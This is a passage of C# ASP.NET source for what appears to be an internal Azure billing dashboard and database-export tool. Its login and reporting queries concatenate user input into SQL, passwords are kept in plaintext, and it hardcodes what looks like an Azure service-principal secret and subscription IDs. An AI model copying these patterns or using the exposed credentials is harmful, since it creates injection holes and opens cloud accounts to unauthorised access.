ExecuteQuery(query); List<int> lst_dataItem = new List<int>(); foreach (DataRow dr in dtDataItemsSets.Rows) { lst_dataItem.Add(Convert.ToInt32(dr["Cost"].ToString())); } data.Add(lst_dataItem); return data; } public DataTable ExecuteQuery(string query) { SqlConnection conn = new SqlConnection("Data Source=ABDULLAHAMJAD;Initial Catalog=EnterpriseDB;Persist Security Info=True;User ID=sa;Password=<PASSWORD>"); SqlDataAdapter dap = new SqlDataAdapter(query, conn); DataSet ds = new DataSet(); dap.Fill(ds); return ds.Tables[0]; } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; using System.Web.Mvc; using System.Web.Script.Serialization; using Microsoft.Azure.Management.Fluent; using Microsoft.Azure.Management.ResourceManager.Fluent; using Microsoft.Azure.Management.ResourceManager.Fluent.Core; using Microsoft.Azure.Management.Sql.Fluent; using Microsoft.Azure.Management.Storage.Fluent; using System.Threading.Tasks; namespace EnterpriseAutomation.Enterprise { public partial class ImportExport : System.Web.UI.Page { IAzure azure; protected void Page_Load(object sender, EventArgs e) { ClientScript.GetPostBackEventReference(this, string.Empty); } protected void Page_Update(object sender, EventArgs e) { } protected void hfSubscription_ValueChanged(object sender, EventArgs e) { for (int i = 0; i < subscriptionValue.Items.Count; i++) { if (subscriptionValue.Items[i].Value == hfSubscription.Value) subscriptionValue.SelectedIndex = i; } //productName.InnerText = hfSubscription.Value; Console.WriteLine("Value Changed to: " + hfSubscription.Value); if (hfSubscription.Value != "") { SetConnection(); getServersList(); } else { serverValue.Items.Clear(); databaseValue.Items.Clear(); } } protected void SetConnection() { try { string subscriptionId = ""; if (hfSubscription.Value == "Almusnet") subscriptionId = "cac601c4-4a4f-4aa3-939e-2923e23b1cd6"; else if (hfSubscription.Value == "Vicenna") subscriptionId = "565af59d-9511-40cd-811d-ce91ce902eb5"; else if (hfSubscription.Value == "TMX") subscriptionId = "3c3b8913-a968-4f0c-8d13-d386611bda0b"; //================================================================= // Authenticate // var credentials = SdkContext.AzureCredentialsFactory.FromFile(Environment.GetEnvironmentVariable("AZURE_AUTH_LOCATION")); var credentials = SdkContext.AzureCredentialsFactory.FromServicePrincipal("<PASSWORD>", "U852tQ7VwhtDfVY@mCe.E/JSIfxqc]Vl", "31f19eca-2e1f-48ee-9936-358d20cafcde", AzureEnvironment.AzureGlobalCloud); azure = Azure .Configure() .WithLogLevel(HttpLoggingDelegatingHandler.Level.Basic) .Authenticate(credentials) .WithSubscription(subscriptionId); // Print selected subscription Console.WriteLine("Selected subscription: " + azure.SubscriptionId); //RunSample(azure); //ExportDb(azure); //getServersList(azure); } catch (Exception exp) { Console.WriteLine(exp.ToString()); // Utilities.Log(e.ToString()) } } protected void getServersList() { try { databaseValue.Items.Clear(); serverValue.Items.Clear(); var sqlServer = azure.SqlServers.List(); //var databases = sqlServer.ElementAt(1).Databases.List(); serverValue.Items.Add("Select - Server"); for (int i=0;i<sqlServer.Count();i++) { serverValue.Items.Add(sqlServer.ElementAt(i).Name.ToString()); } } catch (Exception e) { Console.WriteLine(e.ToString()); //Utilities.Log(e); } } protected void hfServers_ValueChanged(object sender, EventArgs e) { } protected void hfCurrentServer_ValueChanged(object sender, EventArgs e) { for (int i = 0; i < subscriptionValue.Items.Count; i++) { if (subscriptionValue.Items[i].Value == hfSubscription.Value) subscriptionValue.SelectedIndex = i; } string server_name = hfCurrentServer.Value.ToString().Replace("\"", string.Empty); int o = serverValue.Items.Count; for (int i = 0; i < serverValue.Items.Count; i++) { if (serverValue.Items[i].Value == hfCurrentServer.Value) serverValue.SelectedIndex = i; } if (hfCurrentServer.Value != "Select - Server") { SetConnection(); getDatabasesList(server_name); } else databaseValue.Items.Clear(); } protected void getDatabasesList(string serverName) { try { databaseValue.Items.Clear(); var sqlServer = azure.SqlServers.List(); int index = 0; for (int j = 0; j < sqlServer.Count(); j++) { if (serverName == sqlServer.ElementAt(j).Name.ToString()) { index = j; } } var database = sqlServer.ElementAt(index).Databases.List(); databaseValue.Items.Add("Select - Database"); for (int i = 0; i < database.Count(); i++) { if(database.ElementAt(i).Name.ToString() != "master") databaseValue.Items.Add(database.ElementAt(i).Name.ToString()); } } catch (Exception e) { Console.WriteLine(e.ToString()); //Utilities.Log(e); } } protected async void btnExport_Click(object sender, EventArgs e) { SetConnection(); await ExportDbAsync(); } public async Task ExportDbAsync() { try { var sqlServer = azure.SqlServers.GetByResourceGroup("AN-BI", "an-bi"); // Utilities.PrintSqlServer(sqlServer); var dbFromSample = sqlServer.Databases .Get("an-rpt-test-db"); // Utilities.PrintDatabase(dbFromSample); // ============================================================ // Export a database from a SQL server created above to a new storage account within the same resource group. Console.WriteLine("Exporting a database from a SQL server created above to a new storage account within the same resource group."); var storageAccount = azure.StorageAccounts.GetByResourceGroup("AN-PREPROD", "ancloudops"); if (storageAccount == null) { Console.WriteLine("Storage Account Not Found"); } else { // ISqlDatabaseImportExportResponse exportDB; /*Task.Run(async ()=> { exportDB = await dbFromSample.ExportTo(storageAccount, "rlmc", "an-rpt-test-db-10.bacpac") .WithSqlAdministratorLoginAndPassword("<PASSWORD>", "<PASSWORD>") .ExecuteAsync(); //return exportDB; });*/ ISqlDatabaseImportExportResponse exportedDB = await StartExport(dbFromSample, storageAccount); Console.WriteLine(exportedDB.Status); } } catch (Exception e) { Console.WriteLine(e.ToString()); //Utilities.Log(e); } } public Task<ISqlDatabaseImportExportResponse> StartExport(ISqlDatabase db, IStorageAccount storage) { return Task.Run(async () => { ISqlDatabaseImportExportResponse exportedDB = await db.ExportTo(storage, "rlmc", "an-rpt-test-db-11.bacpac") .WithSqlAdministratorLoginAndPassword("<PASSWORD>", "<PASSWORD>") .ExecuteAsync(); return exportedDB; }); } } }<file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Data; using System.Data.SqlClient; namespace EnterpriseAutomation.lumino.appcode { public class UserLogin { SqlConnection conn; string query; public void SetConnection() { conn = new SqlConnection(System.Configuration.ConfigurationManager. ConnectionStrings["AzureDBConnectionString"].ConnectionString); conn.Open(); } public bool CheckUser(string name, string pass) { SetConnection(); query = "SELECT * FROM Login WHERE Email = '" + name + "' and Password = '" + pass + "'"; try { SqlCommand cmd = new SqlCommand(query, conn); int temp = Convert.ToInt32(cmd.ExecuteScalar().ToString()); conn.Close(); if (temp > 0) { return true; } else { return false; } } catch (Exception ex) { return false; } finally { conn.Close(); } } public bool AddUser(string username, string pass) { SetConnection(); query = "insert into Login(Email,Password) " + "values ('" + username + "','" + pass + "')"; // query = "Select Username from Login"; SqlCommand cmd = new SqlCommand(query, conn); try { conn.Open(); cmd.ExecuteNonQuery(); return true; } catch (SqlException se) { return false; } finally { conn.Close(); } } } }<file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; using System.Data; using System.Data.SqlClient; using System.Web.Script.Serialization; using EnterpriseAutomation.lumino; using System.Diagnostics; using System.IO; using System.Management.Automation; using System.Management.Automation.Runspaces; using System.Collections.ObjectModel; using System.Text; using System.Threading; namespace EnterpriseAutomation.Enterprise { public partial class Products : System.Web.UI.Page { string startDate = ""; string endDate = ""; string Tag = ""; protected void Page_Load(object sender, EventArgs e) { string value = hfValue.Value; ChangeProductName(value); getTotalCost(value, startDate, endDate); getTags(value, startDate, endDate); getBillsbyTags(value, startDate, endDate); TagsBarChart(value, startDate, endDate); ConsumedServiceChart(value, startDate, endDate); ClientCostFromTags(value, startDate, endDate, Tag); Main main = new Main(); if (main.IsUserReadOnly()) { gridMainTag.Visible = false; gridMainTag.Visible = false; } } void ChangeProductName(string val) { for (int i = 0; i < productValue.Items.Count; i++) { if (productValue.Items[i].Value == val) productValue.SelectedIndex = i; } if (val == "Almusnet") { productName.InnerText = "ALMUSNET"; Tag = "AN "; } else if (val == "Vicenna") { productName.InnerText = "VICENNA"; Tag = "Vic "; } else if (val == "TMX") { productName.InnerText = "TMX"; Tag = "TMX "; } } protected void btnlogin_Click(object sender, EventArgs e) { startDate = hfstartDate.Value.ToString(); endDate = hfendDate.Value.ToString(); string value = hfValue.Value; ChangeProductName(value); getTotalCost(value, startDate, endDate); getTags(value, startDate, endDate); getBillsbyTags(value, startDate, endDate); TagsBarChart(value, startDate, endDate); ConsumedServiceChart(value, startDate, endDate); ClientCostFromTags(value, startDate, endDate, Tag); } protected void hfValue_ValueChanged(object sender, EventArgs e) { } string getTotalCost(string pname, string sdate, string edate) { List<object> data = new List<object>(); string query; if (sdate != "" && edate != "") { query = "Select Round(SUM(Cast(dbo.ReportData.Cost as float)),2) as Cost from dbo.ReportData where dbo.ReportData.Subscriptionname = '" + pname + "' and Date >= '" + sdate + "' and Date <= '" + edate + "'"; } else { query = "Select Round(SUM(Cast(dbo.ReportData.Cost as float)),2) as Cost from dbo.ReportData where dbo.ReportData.Subscriptionname = '" + pname + "'"; } DataTable dtDataItemsSets = ExecuteQuery(query); DataRow dt = dtDataItemsSets.Rows[0]; string val = dt["Cost"].ToString(); if (pname != "TLX-Internal") lblTotal.Text = "$" + val; return val; } void getTags(string pname, string sdate, string edate) { List<object> data = new List<object>(); string query; if (sdate != "" && edate != "") { query = "Select Tags from dbo.ReportData where dbo.ReportData.Subscriptionname = '" + pname + "' and Date >= '" + sdate + "' and Date <= '" + edate + "' Group by Tags"; } else { query = "Select Tags from dbo.ReportData where dbo.ReportData.Subscriptionname = '" + pname + "' Group by Tags"; } DataTable dtDataItemsSets = ExecuteQuery(query); List<string> Product = new List<string>(); foreach (DataRow dr in dtDataItemsSets.Rows) { string val; val = dr["Tags"].ToString(); if (val != "") { Product.Add(val); } } data.Add(Product); JavaScriptSerializer ser = new JavaScriptSerializer(); hfTags.Value = ser.Serialize(data); } void getBillsbyTags(string pname, string sdate, string edate) { List<object> data = new List<object>(); string query; if (sdate != "" && edate != "") { query = "Select SUM(Cast(dbo.ReportData.Cost as float)) as Cost from dbo.ReportData where dbo.ReportData.Subscriptionname = '" + pname + "' and Date >= '" + sdate + "' and Date <= '" + edate + "' Group by Tags"; } else { query = "Select SUM(Cast(dbo.ReportData.Cost as float)) as Cost from dbo.ReportData where dbo.ReportData.Subscriptionname = '" + pname + "' Group by Tags"; } DataTable dtDataItemsSets = ExecuteQuery(query); List<double> bills = new List<double>(); int i = 0; foreach (DataRow dr in dtDataItemsSets.Rows) { double val; if (dr["Cost"].ToString() != "") { val = Convert.ToDouble(dr["Cost"].ToString()); val = Convert.ToDouble(Math.Round(Convert.ToDecimal(val), 2)); bills.Add(val); } else { val = 0; } } data.Add(bills); JavaScriptSerializer ser = new JavaScriptSerializer(); hfBillsTags.Value = ser.Serialize(data); } void TagsBarChart(string pname, string sdate, string edate) { string query; if (sdate != "" && edate != "") { query = "Select Tags, Round(SUM(Cast(dbo.ReportData.Cost as float)),2) as Cost from dbo.ReportData where dbo.ReportData.Subscriptionname = '" + pname + "' and Date >= '" + sdate + "' and Date <= '" + edate + "' Group by Tags Order by Cost Asc"; } else { query = "Select Tags, Round(SUM(Cast(dbo.ReportData.Cost as float)),2) as Cost from dbo.ReportData where dbo.ReportData.Subscriptionname = '" + pname + "' Group by Tags Order by Cost Asc"; } SqlDataSource1.SelectCommand = query; TagChart.ChartAreas[0].AxisX.Interval = 1; TagChart.Series[0].ToolTip = "#VALX : $ #VALY"; TagChart.Series["Series1"].Label = "$ " + "#VALY"; } void ConsumedServiceChart(string pname, string sdate, string edate) { string query; if (sdate != "" && edate != "") { query = "Select ConsumedService, Round(SUM(Cast(dbo.ReportData.Cost as float)),2) as Cost from dbo.ReportData where dbo.ReportData.Subscriptionname = '" + pname + "' and Date >= '" + sdate + "' and Date <= '" + edate + "' Group by ConsumedService Order by Cost Asc"; } else { query = "Select ConsumedService, Round(SUM(Cast(dbo.ReportData.Cost as float)),2) as Cost from dbo.ReportData where dbo.ReportData.Subscriptionname = '" + pname + "' Group by ConsumedService Order by Cost Asc"; } SqlDataSource2.SelectCommand = query; CServiceChart.ChartAreas[0].AxisX.Interval = 1; CServiceChart.Series["Series1"].Label = "$ " + "#VALY"; CServiceChart.Series[0].ToolTip = "#VALX : $ #VALY"; } void ClientCostFromTags(string pname, string sdate, string edate, string mtag) { string query; if (sdate != "" && edate != "") { query = "Select Tags, Round(SUM(Cast(dbo.ReportData.Cost as float)),2) as Cost from dbo.ReportData where dbo.ReportData.Subscriptionname = '" + pname + "' and Date >= '" + sdate + "' and Date <= '" + edate + "' Group by Tags Order by Tags Asc"; } else { query = "Select Tags, Round(SUM(Cast(dbo.ReportData.Cost as float)),2) as Cost from dbo.ReportData where dbo.ReportData.Subscriptionname = '" + pname + "' Group by Tags Order by Tags Asc"; } DataTable dtDataItemsSets = ExecuteQuery(query); if (dtDataItemsSets.Rows.Count > 0) { //getting Tlx Internal Cost double tlxCost = 0; string tempCost = getTotalCost("TLX-Internal", "", ""); if (tempCost != "") { tlxCost = double.Parse(tempCost); tlxCost /= 3; } int prodClients = 0, preClients = 0, sharedClients = 0; //Clients Table DataTable dataTable = new DataTable(); dataTable.Columns.Add("Client", typeof(string)); dataTable.Columns.Add("Production", typeof(string)); dataTable.Columns.Add("Preprod", typeof(string)); dataTable.Columns.Add("Total", typeof(string)); //Servers Table DataTable TagTable = new DataTable(); TagTable.Columns.Add(mtag + ": Production", typeof(string)); TagTable.Columns.Add(mtag + ": Preprod", typeof(string)); TagTable.Columns.Add(mtag + ": Shared All", typeof(string)); TagTable.Columns.Add("Total", typeof(string)); //Getting Values and Creating Grids for (int i = 0; i < dtDataItemsSets.Rows.Count; i++) { DataRow dr = dtDataItemsSets.Rows[i]; string tag = dr["Tags"].ToString(); string client = "", env = ""; if (tag != "") { string[] values = tag.Split(':'); client = values[0]; env = values[1]; } int index = 0; if (tag != "" && client != mtag) { index = CheckClientInList(dataTable, client); if (index == -1) { DataRow row = dataTable.NewRow(); row["Client"] = client; if (env == " Production") { row["Production"] = "$ " + dr["Cost"].ToString(); row["Preprod"] = "-"; prodClients++; } else { row["Production"] = "-"; row["Preprod"] = "$ " + dr["Cost"].ToString(); preClients++; } sharedClients++; row["Total"] = "$ " + dr["Cost"].ToString(); dataTable.Rows.Add(row); } else { if (env == " Production") { dataTable.Rows[index]["Production"] = "$ " + dr["Cost"].ToString(); prodClients++; } else { dataTable.Rows[index]["Preprod"] = "$ " + dr["Cost"].ToString(); preClients++; } string[] value; double prod = 0, pre = 0; if (dataTable.Rows[index]["Production"].ToString() != "-") { value = dataTable.Rows[index]["Production"].ToString().Split(' '); prod = Double.Parse(value[1]); } if (dataTable.Rows[index]["Preprod"].ToString() != "-") { value = dataTable.Rows[index]["Preprod"].ToString().Split(' '); pre = Double.Parse(value[1]); } dataTable.Rows[index]["Total"] = "$ " + (prod + pre).ToString(); sharedClients++; } } else { if (TagTable.Rows.Count == 0) { DataRow Trow = TagTable.NewRow(); if (env == " Production") { Trow[mtag + ": Production"] = "$ " + dr["Cost"].ToString(); Trow[mtag + ": Preprod"] = "$ " + 0; Trow[mtag + ": Shared All"] = "$ " + 0; } else if (env == " Preprod") { Trow[mtag + ": Production"] = "$ " + 0; Trow[mtag + ": Preprod"] = "$ " + dr["Cost"].ToString(); Trow[mtag + ": Shared All"] = "$ " + 0; } else if (env == " Shared All" || env == "Shared+All" || env == "") { Trow[mtag + ": Production"] = "$ " + 0; Trow[mtag + ": Preprod"] = "$ " + 0; Trow[mtag + ": Shared All"] = "$ " + dr["Cost"].ToString(); } Trow["Total"] = "$ " + dr["Cost"].ToString(); TagTable.Rows.Add(Trow); } else { if (env == " Production") { TagTable.Rows[TagTable.Rows.Count - 1][mtag + ": Production"] = "$ " + dr["Cost"].ToString(); } else if (env == " Preprod") { TagTable.Rows[TagTable.Rows.Count - 1][mtag + ": Preprod"] = "$ " + dr["Cost"].ToString(); } else if (env == " Shared All" || env == " Shared+All" || env == "" || env == " SharedAll") { string[] val = TagTable.Rows[TagTable.Rows.Count - 1][mtag + ": Shared All"].ToString().Split(' '); double curr = Double.Parse(val[1]); TagTable.Rows[TagTable.Rows.Count - 1][mtag + ": Shared All"] = "$ " + (Double.Parse(dr["Cost"].ToString()) + curr).ToString(); } } } } //end of for loop //Calculating Total & adding Tlx Cost string[] Totalvalue = TagTable.Rows[TagTable.Rows.Count - 1][mtag + ": Production"].ToString().Split(' '); double tempprod = Double.Parse(Totalvalue[1]); Totalvalue = TagTable.Rows[TagTable.Rows.Count - 1][mtag + ": Preprod"].ToString().Split(' '); double temppre = Double.Parse(Totalvalue[1]); Totalvalue = TagTable.Rows[TagTable.Rows.Count - 1][mtag + ": Shared All"].ToString().Split(' '); double tempshared = Double.Parse(Totalvalue[1]); tempshared = tempshared + tlxCost; TagTable.Rows[TagTable.Rows.Count - 1][mtag + ": Shared All"] = "$ " + (Math.Round(tempshared, 2)).ToString(); TagTable.Rows[TagTable.Rows.Count - 1]["Total"] = "$ " + (Math.Round((tempprod + temppre + tempshared), 2)).ToString(); double prodvalue = 0, prevalue = 0, sharedvalue = 0; string[] temp; if (mtag != "") { //Calculating Each Server Cost Per Client DataRow valrow = TagTable.NewRow(); for (int i = 0; i < TagTable.Columns.Count; i++) { if (TagTable.Columns[i].ToString() == mtag + ": Production") { temp = TagTable.Rows[0][mtag + ": Production"].ToString().Split(' '); prodvalue = Double.Parse(temp[1]); prodvalue /= prodClients; prodvalue = Math.Round(prodvalue, 2); valrow[mtag + ": Production"] = "$ " + prodvalue.ToString() + " / client"; } else if (TagTable.Columns[i].ToString() == mtag + ": Preprod") { temp = TagTable.Rows[0][mtag + ": Preprod"].ToString().Split(' '); prevalue = Double.Parse(temp[1]); prevalue /= preClients; prevalue = Math.Round(prevalue, 2); valrow[mtag + ": Preprod"] = "$ " + prevalue.ToString() + " / client"; } else if (TagTable.Columns[i].ToString() == mtag + ": Shared All") { temp = TagTable.Rows[0][mtag + ": Shared All"].ToString().Split(' '); sharedvalue = Double.Parse(temp[1]); sharedvalue /= sharedClients; sharedvalue = Math.Round(sharedvalue, 2); valrow[mtag + ": Shared All"] = "$ " + sharedvalue.ToString() + " / client"; } valrow["Total"] = ""; } TagTable.Rows.Add(valrow); //Adding Cost to the Clients Bill double prodtotal, pretotal, finaltotal; double sumProd = 0, sumPre = 0, sumTotal = 0; for (int i = 0; i < dataTable.Rows.Count; i++) { prodtotal = 0; pretotal = 0; if (dataTable.Rows[i]["Production"].ToString() != "-") { temp = dataTable.Rows[i]["Production"].ToString().Split(' '); prodtotal = Math.Round((Double.Parse(temp[1])), 2); prodtotal = Math.Round((Double.Parse(temp[1]) + prodvalue), 2); prodtotal = prodtotal + sharedvalue; dataTable.Rows[i]["Production"] = "$ " + prodtotal.ToString(); sumProd += prodtotal; } if (dataTable.Rows[i]["Preprod"].ToString() != "-") { temp = dataTable.Rows[i]["Preprod"].ToString().Split(' '); pretotal = Math.Round((Double.Parse(temp[1])), 2); pretotal = Math.Round((Double.Parse(temp[1]) + prevalue), 2); pretotal = pretotal + sharedvalue; dataTable.Rows[i]["Preprod"] = "$ " + pretotal.ToString(); sumPre += pretotal; } finaltotal = prodtotal + pretotal; dataTable.Rows[i]["Total"] = "$ " + finaltotal.ToString(); sumTotal += finaltotal; } //Adding Totals Row DataRow frow = dataTable.NewRow(); frow["Client"] = "Total"; frow["Production"] = "$ " + sumProd.ToString(); frow["Preprod"] = "$ " + sumPre.ToString(); frow["Total"] = "$ " + sumTotal.ToString(); dataTable.Rows.Add(frow); } //end of if mtag //Binding Data gridTags.DataSource = dataTable; gridTags.DataBind(); gridMainTag.DataSource = TagTable; gridMainTag.DataBind(); } //end of Condition } int CheckClientInList(DataTable data, string client) { int val = -1; for (int i = 0; i < data.Rows.Count; i++) { if (data.Rows[i]["Client"].ToString() == client) { val = i; } } return val; } public DataTable ExecuteQuery(string query) { SqlConnection conn = new SqlConnection(System.Configuration.ConfigurationManager.ConnectionStrings["AzureDBConnectionString"].ConnectionString); SqlDataAdapter dap = new SqlDataAdapter(query, conn); DataSet ds = new DataSet(); dap.Fill(ds); return ds.Tables[0]; } protected void gridTags_RowDataBound(object sender, GridViewRowEventArgs e) { if (e.Row.RowType == DataControlRowType.Header) { int NumCells = e.Row.Cells.Count; for (int i = 0; i < NumCells; i++) { string value = e.Row.Cells[i].Text; e.Row.Cells[i].HorizontalAlign = HorizontalAlign.Center; } } } protected void gridTags_RowCreated(object sender, GridViewRowEventArgs e) { GridViewRow row = e.Row; if (gridTags.Rows.Count != 0) { for (int i = 0; i < gridTags.Rows[gridTags.Rows.Count - 1].Cells.Count; i++) { if (i == 0) { gridTags.Rows[gridTags.Rows.Count - 1].Cells[i].HorizontalAlign = HorizontalAlign.Left; string val = gridTags.Rows[gridTags.Rows.Count - 1].Cells[i].Text; } else gridTags.Rows[gridTags.Rows.Count - 1].Cells[i].HorizontalAlign = HorizontalAlign.Right; } if (gridTags.Rows[gridTags.Rows.Count - 1].Cells[0].Text == "Total") { for (int i = 0; i < gridTags.Rows[gridTags.Rows.Count - 1].Cells.Count; i++) gridTags.Rows[gridTags.Rows.Count - 1].Cells[i].Font.Bold = true; } } else { if (e.Row.RowType == DataControlRowType.Header) { int NumCells = e.Row.Cells.Count; for (int i = 0; i < NumCells; i++) { string value = e.Row.Cells[i].Text; e.Row.Cells[i].HorizontalAlign = HorizontalAlign.Center; } } } } protected void btnResource_Click1(object sender, EventArgs e) { // string csvpath = Path.Combine(HttpContext.Current.Server.MapPath("~"), "Database+App-Details-updated.ps1"); RunScript(LoadScript(@"E:\Database+App-Details-updated.ps1")); //RunScript(LoadScript(csvpath)); } private string RunScript(string scriptText) { // create Powershell runspace Runspace runspace = RunspaceFactory.CreateRunspace(); // open it runspace.Open(); RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); scriptInvoker.Invoke("Set-ExecutionPolicy -Scope CurrentUser Unrestricted"); // create a pipeline and feed it the script text Pipeline pipeline = runspace.CreatePipeline(); pipeline.Commands.AddScript(scriptText); // add an extra command to transform the script output objects into nicely formatted strings // remove this line to get the actual objects that the script returns. For example, the script // "Get-Process" returns a collection of System.Diagnostics.Process instances. pipeline.Commands.Add("Out-String"); // execute the script Collection<PSObject> results = pipeline.Invoke(); // close the runspace runspace.Close(); // convert the script result into a single string StringBuilder stringBuilder = new StringBuilder(); foreach (PSObject obj in results) { stringBuilder.AppendLine(obj.ToString()); } // return the results of the script that has // now been converted to text return stringBuilder.ToString(); } private string LoadScript(string filename) { try { // Create an instance of StreamReader to read from our file. // The using statement also closes the StreamReader. using (StreamReader sr = new StreamReader(filename)) { // use a string builder to get all our lines from the file StringBuilder fileContents = new StringBuilder(); // string to hold the current line string curLine; // loop through our file and read each line into our // stringbuilder as we go along while ((curLine = sr.ReadLine()) != null) { // read each line and MAKE SURE YOU ADD BACK THE // LINEFEED THAT IT THE ReadLine() METHOD STRIPS OFF fileContents.Append(curLine + "\n"); } // call RunScript and pass in our file contents // converted to a string return fileContents.ToString(); } } catch (Exception e) { // Let the user know what went wrong. string errorText = "The file could not be read:"; errorText += e.Message + "\n"; return errorText; } } } }<file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; using System.Data; using System.Data.SqlClient; using System.Net; using System.IO; using System.Text; using EnterpriseAutomation.lumino; namespace EnterpriseAutomation.Enterprise { public partial class DataCenter : System.Web.UI.Page { string startdate = ""; string enddate = ""; DataTable dtCSV; protected void Page_Load(object sender, EventArgs e) { CurrentDataDates("start"); CurrentDataDates("end"); Main main = new Main(); if(main.IsUserReadOnly()) { btnImport.Visible = false; btnClear.Visible = false; } getTagsList(); } protected void btnlogin_Click(object sender, EventArgs e) { startdate = hfstartDate.Value.ToString(); enddate = hfendDate.Value.ToString(); if (Convert.ToDateTime(startdate) <= Convert.ToDateTime(enddate)) { if (startdate != "" || enddate != "") { const string GetUsageByMonthUrl = "https://consumption.azure.com/v3/enrollments/{0}/{1}/download?startTime={2}&endTime={3}"; const string GetUsageListUrl = "https://consumption.azure.com/v3/enrollments/{0}/usagedetails"; string EnrollmentNumber = "63898228"; string AccessToken = "<KEY>"; //"<KEY>"; // Retrieve a list of available reports string Url = string.Format(GetUsageListUrl, EnrollmentNumber); //Directly download a monthly summary report, // Directly download a monthly detail report, Console.WriteLine("----------Directly download a monthly usage report--------------"); Url = string.Format(GetUsageByMonthUrl, EnrollmentNumber, "usagedetails", startdate, enddate); string DetailUsageCSV = CallRestAPI(Url, AccessToken); //Console.WriteLine(DetailUsageCSV); WriteToFile(DetailUsageCSV, "usagedetails"); Console.WriteLine("Usage Detail Downloaded"); ImportToDatabase(); // MessageBox.Show("Data has been Retreived Successfully"); } else { lblMsg.Visible = true; lblMsg.Text = "Select Start and End Date"; ClientScript.RegisterStartupScript(this.GetType(), "HideLabel", "<script type=\"text/javascript\">setTimeout(\"document.getElementById('" + lblMsg.ClientID + "').style.display='none'\",2000)</script>"); } } else { lblMsg.Visible = true; lblMsg.Text = "Start Date cannot be less than End Date"; ClientScript.RegisterStartupScript(this.GetType(), "HideLabel", "<script type=\"text/javascript\">setTimeout(\"document.getElementById('" + lblMsg.ClientID + "').style.display='none'\",2000)</script>"); } } public static string CallRestAPI(string url, string token) { WebRequest request = WebRequest.Create(url); request.Headers.Add("authorization", "bearer " + token); request.Headers.Add("api-version", "1.0"); HttpWebResponse response = (HttpWebResponse)request.GetResponse(); StreamReader reader = new StreamReader(response.GetResponseStream()); return reader.ReadToEnd(); } public static void WriteToFile(string data, string filename) { StringBuilder csvcontent = new StringBuilder(); csvcontent.AppendLine(data); //Guid Guid = new Guid(); string csvpath = Path.Combine(HttpContext.Current.Server.MapPath("~"),"temp.csv"); //File.Create(csvpath); File.WriteAllText(csvpath, csvcontent.ToString()); } public void ImportToDatabase() { DataTable dtable = new DataTable(); dtable.Columns.AddRange(new DataColumn[40] { new DataColumn(("AccountId"),typeof(string)), new DataColumn(("AccountName"),typeof(string)), new DataColumn(("AccountOwnerEmail"),typeof(string)), new DataColumn(("AdditionalInfo"),typeof(string)), new DataColumn(("ConsumedQuantity"),typeof(string)), new DataColumn(("ConsumedService"),typeof(string)), new DataColumn(("ConsumedServiceId"),typeof(string)), new DataColumn(("Cost"),typeof(string)), new DataColumn(("CostCenter"),typeof(string)), new DataColumn(("Date"),typeof(string)), new DataColumn(("DepartmentId"),typeof(string)), new DataColumn(("DepartmentName"),typeof(string)), new DataColumn(("InstanceId"),typeof(string)), new DataColumn(("MeterCategory"),typeof(string)), new DataColumn(("MeterId"),typeof(string)), new DataColumn(("MeterName"),typeof(string)), new DataColumn(("MeterRegion"),typeof(string)), new DataColumn(("MeterSubCategory"),typeof(string)), new DataColumn(("Product"),typeof(string)), new DataColumn(("ProductId"),typeof(string)), new DataColumn(("ResourceGroup"),typeof(string)), new DataColumn(("ResourceLocation"),typeof(string)), new DataColumn(("ResourceLocationId"),typeof(string)), new DataColumn(("ResourceRate"),typeof(string)), new DataColumn(("ServiceAdministratorId"),typeof(string)), new DataColumn(("ServiceInfo1"),typeof(string)), new DataColumn(("ServiceInfo2"),typeof(string)), new DataColumn(("StoreServiceIdentifier"),typeof(string)), new DataColumn(("SubscriptionGuid"),typeof(string)), new DataColumn(("SubscriptionId"),typeof(string)), new DataColumn(("SubscriptionName"),typeof(string)), new DataColumn(("Tags"),typeof(string)), new DataColumn(("UnitOfMeasure"),typeof(string)), new DataColumn(("PartNumber"),typeof(string)), new DataColumn(("ResourceGuid"),typeof(string)), new DataColumn(("OfferId"),typeof(string)), new DataColumn(("ChargesBilledSeparately"),typeof(string)), new DataColumn(("Location"),typeof(string)), new DataColumn(("ServiceName"),typeof(string)), new DataColumn(("ServiceTier"),typeof(string)), }); string csvpath = Path.Combine(HttpContext.Current.Server.MapPath("~"), "temp.csv"); string data = File.ReadAllText(csvpath); int j = 1; int count = 0; // string AdditionalInfo; foreach (string row in data.Split('\n')) { if (!string.IsNullOrEmpty(row)) { if (j > 3) { dtable.Rows.Add(); string[] temp = row.Split(','); int i = 0; if (temp.Length > 40) { string[] start = row.Split('{'); if (start.Length > 1) { string[] end = start[1].Split('}'); for (int l = 0; l <= start.Length; l++) { if (l == 0) { foreach (string cell in start[0].Split(',')) { string text = "\""; if (cell != text) { if (cell == "") dtable.Rows[dtable.Rows.Count - 1][i] = null; else dtable.Rows[dtable.Rows.Count - 1][i] = cell; i++; } } } else if (l == 1) { dtable.Rows[dtable.Rows.Count - 1][i] = end[0]; i++; } else if (l == 2) { foreach (string cell in end[1].Split(',')) { string text = "\""; if (cell != text) { if (cell == "") { if (i == 31) dtable.Rows[dtable.Rows.Count - 1][i] = getTag(dtable.Rows[dtable.Rows.Count - 1][12].ToString()); else dtable.Rows[dtable.Rows.Count - 1][i] = null; } else { if (i == 31) dtable.Rows[dtable.Rows.Count - 1][i] = CorrectTagFormat(cell); else dtable.Rows[dtable.Rows.Count - 1][i] = cell; } i++; } } } else { string[] check = start[2].Split(','); if (check.Length > 9) { string[] tag = start[2].Split('}'); if (tag[0].Contains("BigBird")) { dtable.Rows[dtable.Rows.Count - 1][i] = "SD : Production"; // string s = dtable.Rows[dtable.Rows.Count - 1][i].ToString(); } else dtable.Rows[dtable.Rows.Count - 1][i] = "AN : Production"; i++; foreach (string cell in tag[1].Split(',')) { string text = "\""; if (cell != text) { if (cell == "") dtable.Rows[dtable.Rows.Count - 1][i] = null; else dtable.Rows[dtable.Rows.Count - 1][i] = cell; i++; } } } else { foreach (string cell in start[2].Split(',')) { string text = "\""; if (cell != text) { if (cell == "") { if (i == 31) dtable.Rows[dtable.Rows.Count - 1][i] = getTag(dtable.Rows[dtable.Rows.Count - 1][12].ToString()); else dtable.Rows[dtable.Rows.Count - 1][i] = null; } else { if (i == 31) dtable.Rows[dtable.Rows.Count - 